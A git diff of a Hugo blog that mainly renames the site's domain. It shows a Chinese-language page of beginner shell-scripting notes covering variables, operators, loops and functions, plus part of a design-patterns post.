stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>shell脚本学习笔记</h1><div class=post-meta><span title='2021-11-23 00:01:00 +0000 UTC'>2021-11-23</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/shell%e8%84%9a%e6%9c%ac%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序</p><p>例如：</p><pre><code>#!/bin/bash
+echo &quot;hallo word&quot;
 </code></pre><p>执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）</p><p>bash hallo.sh</p><p>也可以直接执行</p><p>./hallo.sh</p><p>变量（首字符必须是字母，而且不能有bash的关键字，大小写敏感）</p><p>data = &ldquo;hallo&rdquo;
 echo $data
 data = &ldquo;word&rdquo;
@@ -93,11 +93,11 @@
 echo ${#data:5:8}</p><p>删除变量（不能删除只读变量）</p><p>unset data
 echo ${data}</p><p>在shell脚本定义的变量只能在当前脚本交互中使用，可以通过export传递变量到子shell中，可以通过env或者export指令来获取当前shell的环境变量</p><p>参数</p><p>echo &ldquo;hallo word&rdquo;;
 echo &ldquo;要执行的shell脚本：$0&rdquo;;
-echo &ldquo;参数为：$1&rdquo;;</p><p>./hallo.sh abc</p><p>获取参数的个数：$#</p><p>以单一字符串的方式输出全部参数（要被双引号包裹）：$*</p><p>以独立字符串的方式输出全部参数（要被双引号包裹）：$@</p><p>获取上个命令的状态（是否执行成功，0为成功，非0为失败）：$?</p><p>获取当前脚本shell进程的ID：$$</p><p>获取后台运行的最后一个进程的ID：$!</p><p>配合函数使用（参数也可以通过函数来传递）</p><pre><code>function abc(){
-    echo &quot;参数1: $1&quot;
-    echo &quot;被执行的脚本为: $0&quot;
-}
-abc hallo
+echo &ldquo;参数为：$1&rdquo;;</p><p>./hallo.sh abc</p><p>获取参数的个数：$#</p><p>以单一字符串的方式输出全部参数（要被双引号包裹）：$*</p><p>以独立字符串的方式输出全部参数（要被双引号包裹）：$@</p><p>获取上个命令的状态（是否执行成功，0为成功，非0为失败）：$?</p><p>获取当前脚本shell进程的ID：$$</p><p>获取后台运行的最后一个进程的ID：$!</p><p>配合函数使用（参数也可以通过函数来传递）</p><pre><code>function abc(){
+    echo &quot;参数1: $1&quot;
+    echo &quot;被执行的脚本为: $0&quot;
+}
+abc hallo
 </code></pre><p>./hallo.sh</p><p>参数1: hallo
 被执行的脚本为: hallo.sh</p><p>数组（不需要逗号分开，使用的是空格）</p><p>data = (1 2 3 4 5 &ldquo;hallo word&rdquo;)
 data[6] = &ldquo;shell 666&rdquo;
@@ -112,47 +112,47 @@
 判断是否大于：-gt
 判断是否小于：-lt
 判断是否相等或者大于：-ge
-判断是否相等或者小于：-le</p><p>例如：</p><pre><code>abc = 123
-xyz =666
-if [ $abc -eq $xyz ]
-then
-    echo&quot;相等&quot;
-else
-    echo&quot;不相等&quot;
-fi
-if [ $abc -gt $xyz ]
-then
-    echo&quot;大于&quot;
-else
-    echo&quot;不大于&quot;
-</code></pre><p>布尔运算符</p><p>&&和||</p><p>或：-o</p><p>与：-a</p><p>非：!</p><p>例如：</p><pre><code>abc = 123
-xyz = 666
-if [ $abc -eq $xyz -o $abc -lt $xyz]
-then
-    echo&quot;相等或者小于&quot;
-else
-    echo&quot;不相等或者小于&quot;
-fi
-</code></pre><p>字符串运算符</p><pre><code>abc = &quot;hallo&quot;
-xyz = &quot;hi&quot;
-if [$abc = $xyz];then
-    echo&quot;相等&quot;
-else
-    echo&quot;不相等&quot;
+判断是否相等或者小于：-le</p><p>例如：</p><pre><code>abc = 123
+xyz =666
+if [ $abc -eq $xyz ]
+then
+    echo&quot;相等&quot;
+else
+    echo&quot;不相等&quot;
+fi
+if [ $abc -gt $xyz ]
+then
+    echo&quot;大于&quot;
+else
+    echo&quot;不大于&quot;
+</code></pre><p>布尔运算符</p><p>&&和||</p><p>或：-o</p><p>与：-a</p><p>非：!</p><p>例如：</p><pre><code>abc = 123
+xyz = 666
+if [ $abc -eq $xyz -o $abc -lt $xyz]
+then
+    echo&quot;相等或者小于&quot;
+else
+    echo&quot;不相等或者小于&quot;
+fi
+</code></pre><p>字符串运算符</p><pre><code>abc = &quot;hallo&quot;
+xyz = &quot;hi&quot;
+if [$abc = $xyz];then
+    echo&quot;相等&quot;
+else
+    echo&quot;不相等&quot;
 </code></pre><p>判断字符串长度是否为0：-z（为0返回true）
 判断字符串长度是否不为0：-n（不为0返回true）
-判断字符串是否不为空：$（不为空返回true）</p><p>例如：</p><pre><code>a = &quot;hallo word&quot;
-b = &quot;abchhh&quot;
-if [ -z $a];then
-    echo &quot;$a :字符串长度为0&quot;
-else
-    echo &quot;$a :字符串长度不为0&quot;
-fi
-if [ ${b}];then
-    echo &quot;$b :字符串不为空&quot;
-else
-    echo &quot;$b :字符串为空&quot;
-fi
+判断字符串是否不为空：$（不为空返回true）</p><p>例如：</p><pre><code>a = &quot;hallo word&quot;
+b = &quot;abchhh&quot;
+if [ -z $a];then
+    echo &quot;$a :字符串长度为0&quot;
+else
+    echo &quot;$a :字符串长度不为0&quot;
+fi
+if [ ${b}];then
+    echo &quot;$b :字符串不为空&quot;
+else
+    echo &quot;$b :字符串为空&quot;
+fi
 </code></pre><p>文件运算符</p><p>检查文件是否为目录（是返回true）：-d
 检查文件是否为块设备文件：-b
 检查文件是否为字符设备文件：-c
@@ -165,68 +165,68 @@
 检查文件是否设置了SGID位：-g
 检查文件是否设置了SUID位：-u
 检查文件是否是有名管道：-p
-检查文件是否设置粘着位(Sticky Bit)：-k</p><p>例如：</p><pre><code>data = &quot;/etc/hallo&quot;
-if [-r $data]
-then
-    echo &quot;文件可读&quot;
-else
-    echo &quot;文件不可读&quot;
-fi
-if [-e $data]
-then
-    echo &quot;文件存在&quot;
-else
-    echo &quot;文件不存在&quot;
-fi
-</code></pre><p>echo和printf</p><p>echo可以输出普通字符串，转义，变量</p><p>开启转义功能：echo -e &ldquo;hallo!!! \n&rdquo;</p><p>使用单引号可以原封不动的输出字符串</p><p>将执行结果指向到文件中</p><p>echo &ldquo;hallo word&rdquo; > data</p><p>printf比较高级点，可以定义字符串的对齐方式，宽度等等，而且printf默认不自动添加换行符（echo自动添加），可以手动\n</p><p>printf &ldquo;%-8s %-5s %-6.3s\n&rdquo; root data main 6.12345</p><p>上面这句脚本的%s表示输出字符串（类似的还有$c(整型输出),$d（字符输出）,$f（小数输出））</p><p>%-8s表示一个宽度为8个字符，如果有-表示左对齐，没有就是右对齐，全部字符都被输出到8个字符宽的字符中，如果不足8个字符，则自动以空格填充，超出的话，也会全部显示（不会忽略）</p><p>%-6.3s表示将其格式化为小数，.3表示保留3位小数</p><p>test命令用来判断条件是否成立，数值，字符，文件都可以判断</p><p>test命令使用的是关系运算符，例如：</p><pre><code>data1 = 300
-data2 = 200
-if test $[data1] -gt $[data2]
-then
-    echo &quot;data1大于data2&quot;
-else
-    echo &quot;data1小于data2&quot;
-fi
+检查文件是否设置粘着位(Sticky Bit)：-k</p><p>例如：</p><pre><code>data = &quot;/etc/hallo&quot;
+if [-r $data]
+then
+    echo &quot;文件可读&quot;
+else
+    echo &quot;文件不可读&quot;
+fi
+if [-e $data]
+then
+    echo &quot;文件存在&quot;
+else
+    echo &quot;文件不存在&quot;
+fi
+</code></pre><p>echo和printf</p><p>echo可以输出普通字符串，转义，变量</p><p>开启转义功能：echo -e &ldquo;hallo!!! \n&rdquo;</p><p>使用单引号可以原封不动的输出字符串</p><p>将执行结果指向到文件中</p><p>echo &ldquo;hallo word&rdquo; > data</p><p>printf比较高级点，可以定义字符串的对齐方式，宽度等等，而且printf默认不自动添加换行符（echo自动添加），可以手动\n</p><p>printf &ldquo;%-8s %-5s %-6.3s\n&rdquo; root data main 6.12345</p><p>上面这句脚本的%s表示输出字符串（类似的还有$c(整型输出),$d（字符输出）,$f（小数输出））</p><p>%-8s表示一个宽度为8个字符，如果有-表示左对齐，没有就是右对齐，全部字符都被输出到8个字符宽的字符中，如果不足8个字符，则自动以空格填充，超出的话，也会全部显示（不会忽略）</p><p>%-6.3s表示将其格式化为小数，.3表示保留3位小数</p><p>test命令用来判断条件是否成立，数值，字符，文件都可以判断</p><p>test命令使用的是关系运算符，例如：</p><pre><code>data1 = 300
+data2 = 200
+if test $[data1] -gt $[data2]
+then
+    echo &quot;data1大于data2&quot;
+else
+    echo &quot;data1小于data2&quot;
+fi
 </code></pre><p>if判断（注意：如果else分支没有语句要执行，就不要写else了）</p><p>if
 then
 elif
 else
-fi</p><p>for循环</p><pre><code>for data in 1 2 3
-do
-    echo &quot;data : $data&quot;
-done
-</code></pre><p>while循环</p><pre><code>data = 1
-while(( $data &lt;= 10))
-do
-    echo $data
-    let &quot;data++&quot;
-done
-</code></pre><p>until循环</p><pre><code>data=1
-until [ ! $data -lt 10 ]
-do
-   echo $data
-   data=`expr $data + 1`
-done
-</code></pre><p>case &mldr; esac语句（替代switch语句）</p><pre><code>echo '请输入1到3之间的数字:'
-echo '输入的数字为:'
-read data
-case $data in
-    1)  echo '1'
-    ;;
-    2)  echo '2'
-    ;;
-    3)  echo '3'
-    ;;
-    *)  echo '没有输入1到3之间的数字'
-    ;;
-esac
-</code></pre><p>跳出循环</p><p>break（终止执行后面的循环，一般搭配判断使用）</p><p>continue（只终止当前循环，不会终止执行后面的循环）</p><p>函数</p><pre><code>demo(){
-    echo &quot;hallo word&quot;
-    return $(($1+2))
-}
-demo 100 300
-echo &quot; $? &quot;
-</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/shell/>shell</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/121/><span class=title>« Prev</span><br><span>简单了解设计模式</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/119/><span class=title>Next »</span><br><span>简单使用Rollup模块打包工具</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+fi</p><p>for循环</p><pre><code>for data in 1 2 3
+do
+    echo &quot;data : $data&quot;
+done
+</code></pre><p>while循环</p><pre><code>data = 1
+while(( $data &lt;= 10))
+do
+    echo $data
+    let &quot;data++&quot;
+done
+</code></pre><p>until循环</p><pre><code>data=1
+until [ ! $data -lt 10 ]
+do
+   echo $data
+   data=`expr $data + 1`
+done
+</code></pre><p>case &mldr; esac语句（替代switch语句）</p><pre><code>echo '请输入1到3之间的数字:'
+echo '输入的数字为:'
+read data
+case $data in
+    1)  echo '1'
+    ;;
+    2)  echo '2'
+    ;;
+    3)  echo '3'
+    ;;
+    *)  echo '没有输入1到3之间的数字'
+    ;;
+esac
+</code></pre><p>跳出循环</p><p>break（终止执行后面的循环，一般搭配判断使用）</p><p>continue（只终止当前循环，不会终止执行后面的循环）</p><p>函数</p><pre><code>demo(){
+    echo &quot;hallo word&quot;
+    return $(($1+2))
+}
+demo 100 300
+echo &quot; $? &quot;
+</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/shell/>shell</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/121/><span class=title>« Prev</span><br><span>简单了解设计模式</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/119/><span class=title>Next »</span><br><span>简单使用Rollup模块打包工具</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/121/index.html b/posts/121/index.html
index 0b9236f0..04968ab8 100644
--- a/posts/121/index.html
+++ b/posts/121/index.html
@@ -13,8 +13,8 @@
 创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程 单例模式 工厂模式 抽象工厂 建造者模式 原型模式
 创建型模式就是指创建对象，在创建对象时通过共同的接口来指向这个新创建的对象
 结构型模式：把类或对象结合在一起形成一个更大的结构 适配器模式 组合模式 装饰器模式 代理模式 享元模式 外观模式 桥接模式
-行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/121/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单了解设计模式"><meta property="og:description" content="设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具
+行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/121/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单了解设计模式"><meta property="og:description" content="设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具
 面向过程：逻辑化过程，以逻辑实现
 面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化
 设计模式的好处就是通用可复用，跨语言
@@ -29,7 +29,7 @@
 创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程 单例模式 工厂模式 抽象工厂 建造者模式 原型模式
 创建型模式就是指创建对象，在创建对象时通过共同的接口来指向这个新创建的对象
 结构型模式：把类或对象结合在一起形成一个更大的结构 适配器模式 组合模式 装饰器模式 代理模式 享元模式 外观模式 桥接模式
-行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/121/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-11-30T15:08:00+00:00"><meta property="article:modified_time" content="2021-11-30T15:08:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单了解设计模式"><meta name=twitter:description content="设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具
+行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/121/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-11-30T15:08:00+00:00"><meta property="article:modified_time" content="2021-11-30T15:08:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单了解设计模式"><meta name=twitter:description content="设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具
 面向过程：逻辑化过程，以逻辑实现
 面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化
 设计模式的好处就是通用可复用，跨语言
@@ -44,7 +44,7 @@
 创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程 单例模式 工厂模式 抽象工厂 建造者模式 原型模式
 创建型模式就是指创建对象，在创建对象时通过共同的接口来指向这个新创建的对象
 结构型模式：把类或对象结合在一起形成一个更大的结构 适配器模式 组合模式 装饰器模式 代理模式 享元模式 外观模式 桥接模式
-行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单了解设计模式","item":"https://xiaochenabc123.github.io/posts/121/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单了解设计模式","name":"简单了解设计模式","description":"设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具\n面向过程：逻辑化过程，以逻辑实现\n面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化\n设计模式的好处就是通用可复用，跨语言\n设计模式的6大原则：\n单一职责原则：指的是一个类只负责一个职责，职责越单一，越容易复用\n里氏替换原则：子类可以替换自己的父类，通过开闭原则，通过增加子类来实现父类的“修改”，子类可以添加自己的方法和属性，但是不能重写父类的方法\n依赖倒置原则：依赖于接口，而不是实现，面向接口编程，类于类之间不要存在直接依赖，而依赖于接口\n接口隔离原则：不同的功能应该用多种接口实现行为，而不能将接口功能直接概括全部行为，单独实现需要的接口\n迪米特法则：迪米特法则又叫最少知识原则，一个对象对其他对象应该保持最少的了解，降低类与类之间的耦合，避免一个类依赖于另一个类，而导致另一个类的影响\n开闭原则：指的是对扩展进行开放，对修改进行关闭，需要添加新功能，应该添加类，而不是修改原来有的类，保证程序的稳定性\n常见的设计模式有工厂模式，策略模式，单例模式，代理模式，适配器模式，装饰者模式，模版方法模式，观察者模式，抽象工厂模式，门面模式\n创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程 单例模式 工厂模式 抽象工厂 建造者模式 原型模式\n创建型模式就是指创建对象，在创建对象时通过共同的接口来指向这个新创建的对象\n结构型模式：把类或对象结合在一起形成一个更大的结构 适配器模式 组合模式 装饰器模式 代理模式 享元模式 外观模式 桥接模式\n行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式","keywords":["设计模式"],"articleBody":"设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具\n面向过程：逻辑化过程，以逻辑实现\n面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化\n设计模式的好处就是通用可复用，跨语言\n设计模式的6大原则：\n单一职责原则：指的是一个类只负责一个职责，职责越单一，越容易复用\n里氏替换原则：子类可以替换自己的父类，通过开闭原则，通过增加子类来实现父类的“修改”，子类可以添加自己的方法和属性，但是不能重写父类的方法\n依赖倒置原则：依赖于接口，而不是实现，面向接口编程，类于类之间不要存在直接依赖，而依赖于接口\n接口隔离原则：不同的功能应该用多种接口实现行为，而不能将接口功能直接概括全部行为，单独实现需要的接口\n迪米特法则：迪米特法则又叫最少知识原则，一个对象对其他对象应该保持最少的了解，降低类与类之间的耦合，避免一个类依赖于另一个类，而导致另一个类的影响\n开闭原则：指的是对扩展进行开放，对修改进行关闭，需要添加新功能，应该添加类，而不是修改原来有的类，保证程序的稳定性\n常见的设计模式有工厂模式，策略模式，单例模式，代理模式，适配器模式，装饰者模式，模版方法模式，观察者模式，抽象工厂模式，门面模式\n创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程 单例模式 工厂模式 抽象工厂 建造者模式 原型模式\n创建型模式就是指创建对象，在创建对象时通过共同的接口来指向这个新创建的对象\n结构型模式：把类或对象结合在一起形成一个更大的结构 适配器模式 组合模式 装饰器模式 代理模式 享元模式 外观模式 桥接模式\n行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式\n","wordCount":"39","inLanguage":"en","datePublished":"2021-11-30T15:08:00Z","dateModified":"2021-11-30T15:08:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/121/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ 